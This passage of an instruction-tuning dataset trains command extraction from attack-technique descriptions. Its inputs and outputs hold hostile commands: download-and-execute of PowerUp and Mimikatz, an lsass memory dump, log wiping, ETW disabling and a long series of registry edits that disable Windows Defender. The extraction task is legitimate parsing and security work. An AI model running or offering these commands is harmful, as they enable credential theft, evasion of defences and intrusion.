English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker could use RemotePC as a command and control channel by convincing the user to download it, then executing it with this command: Start-Process \"#{RemotePC_Path}\"; Maintaining persistence via third-party remote services is common among threat actors, who often use NetSupport with the command: Start-Process \"#{NetSupport_Path}\" -ArgumentList \"/S /v/qn\"",
    "output": "{\"command_list\": [\"Start-Process \\\"#{RemotePC_Path}\\\"\\n\", \"Start-Process \\\"#{NetSupport_Path}\\\" -ArgumentList \\\"/S /v/qn\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using Sysinternals ProcDump with the -mm flag, you can create a mini dump of lsass.exe by executing: \"#{procdump_exe}\" -accepteula -mm lsass.exe #{output_file}; The following process retrieves credentials from memory by downloading and executing Mimikatz via Powershell with this command: IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds",
    "output": "{\"command_list\": [\"\\\"#{procdump_exe}\\\" -accepteula -mm lsass.exe #{output_file}\\n\", \"IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An attacker would identify storage locations by executing this PowerShell command: powershell.exe -c \"gdr -PSProvider 'FileSystem'\"; The OS Product Name can be displayed by querying the registry with this command: reg query \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\" /v ProductName",
    "output": "{\"command_list\": [\"powershell.exe -c \\\"gdr -PSProvider 'FileSystem'\\\"\\n\", \"reg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\" /v ProductName\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    During Linux web server exploitation, threat actor Rocke used this method to clear a user's mail spool by executing: echo 0> /var/spool/mail/#{username}\n; During the exploitation of Linux web servers, threat actor Rocke used this method to overwrite logs, which can be replicated with the command: echo 0> #{log_path}\n",
    "output": "{\"command_list\": [\"echo 0> /var/spool/mail/#{username}\\n\", \"echo 0> #{log_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This atomic test demonstrates how an attacker can stop a particular ETW provider from logging by executing the command: reg add \"HKLM\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application\\#{ETWProviderGUID}\" /v \"Enabled\" /t REG_DWORD /d \"0\" /f. The modification to the 'Enabled' registry value will only be applied after a system reboot.; To simulate an attacker disabling a specific ETW provider from the EventLog-Application session, use the following PowerShell command: New-ItemProperty -Path \"HKLM:\\System\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application\\#{ETWProviderGUID}\" -Name Enabled -Value 0 -PropertyType \"DWord\" -Force. This modification will prevent the provider from emitting logs, though a restart is required for the changes to take effect.",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Application\\\\#{ETWProviderGUID}\\\" /v \\\"Enabled\\\" /t REG_DWORD /d \\\"0\\\" /f\", \"New-ItemProperty -Path \\\"HKLM:\\\\System\\\\CurrentControlSet\\\\Control\\\\WMI\\\\Autologger\\\\EventLog-Application\\\\#{ETWProviderGUID}\\\" -Name Enabled -Value 0 -PropertyType \\\"DWord\\\" -Force\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable real-time protection when having root access, use the command: sudo mdatp config real-time-protection --value disabled. This won't work if Defender is in passive mode or if tamper protection is enabled.; You can tamper with Windows Defender's registry to disable its features by executing this multi-line command: reg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiSpyware\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiVirus\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableBehaviorMonitoring\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIntrusionPreventionSystem\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIOAVProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableOnAccessProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRoutinelyTakingAction\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScanOnRealtimeEnable\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScriptScanning\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" /v \"DisableEnhancedNotifications\" /t REG_DWORD /d \"1\" /f >NUL 2>nul \nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"DisableBlockAtFirstSeen\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SpynetReporting\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" /v \"MpEnablePus\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\" /v \"DisallowExploitProtectionOverride\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" /v \"TamperProtection\"  /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\software\\microsoft\\windows defender\\spynet\" /v \"SubmitSamplesConsent\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Microsoft\\Windows Defender\" /v \"PUAProtection\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\n",
    "output": "{\"command_list\": [\"sudo mdatp config real-time-protection --value disabled\\n\", \"reg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\" /v \\\"DisableAntiSpyware\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\" /v \\\"DisableAntiVirus\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableBehaviorMonitoring\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableIntrusionPreventionSystem\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableIOAVProtection\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableOnAccessProtection\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableRealtimeMonitoring\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableRoutinelyTakingAction\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableScanOnRealtimeEnable\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Real-Time Protection\\\" /v \\\"DisableScriptScanning\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\Reporting\\\" /v \\\"DisableEnhancedNotifications\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul \\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\SpyNet\\\" /v \\\"DisableBlockAtFirstSeen\\\" /t REG_DWORD /d \\\"1\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\SpyNet\\\" /v \\\"SpynetReporting\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Policies\\\\Microsoft\\\\Windows Defender\\\\MpEngine\\\" /v \\\"MpEnablePus\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows Defender Security Center\\\\App and Browser protection\\\" /v \\\"DisallowExploitProtectionOverride\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows Defender\\\\Features\\\" /v \\\"TamperProtection\\\"  /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\software\\\\microsoft\\\\windows defender\\\\spynet\\\" /v \\\"SubmitSamplesConsent\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\nreg add \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows Defender\\\" /v \\\"PUAProtection\\\" /t REG_DWORD /d \\\"0\\\" /f >NUL 2>nul\\n\"]}"
  },
  {
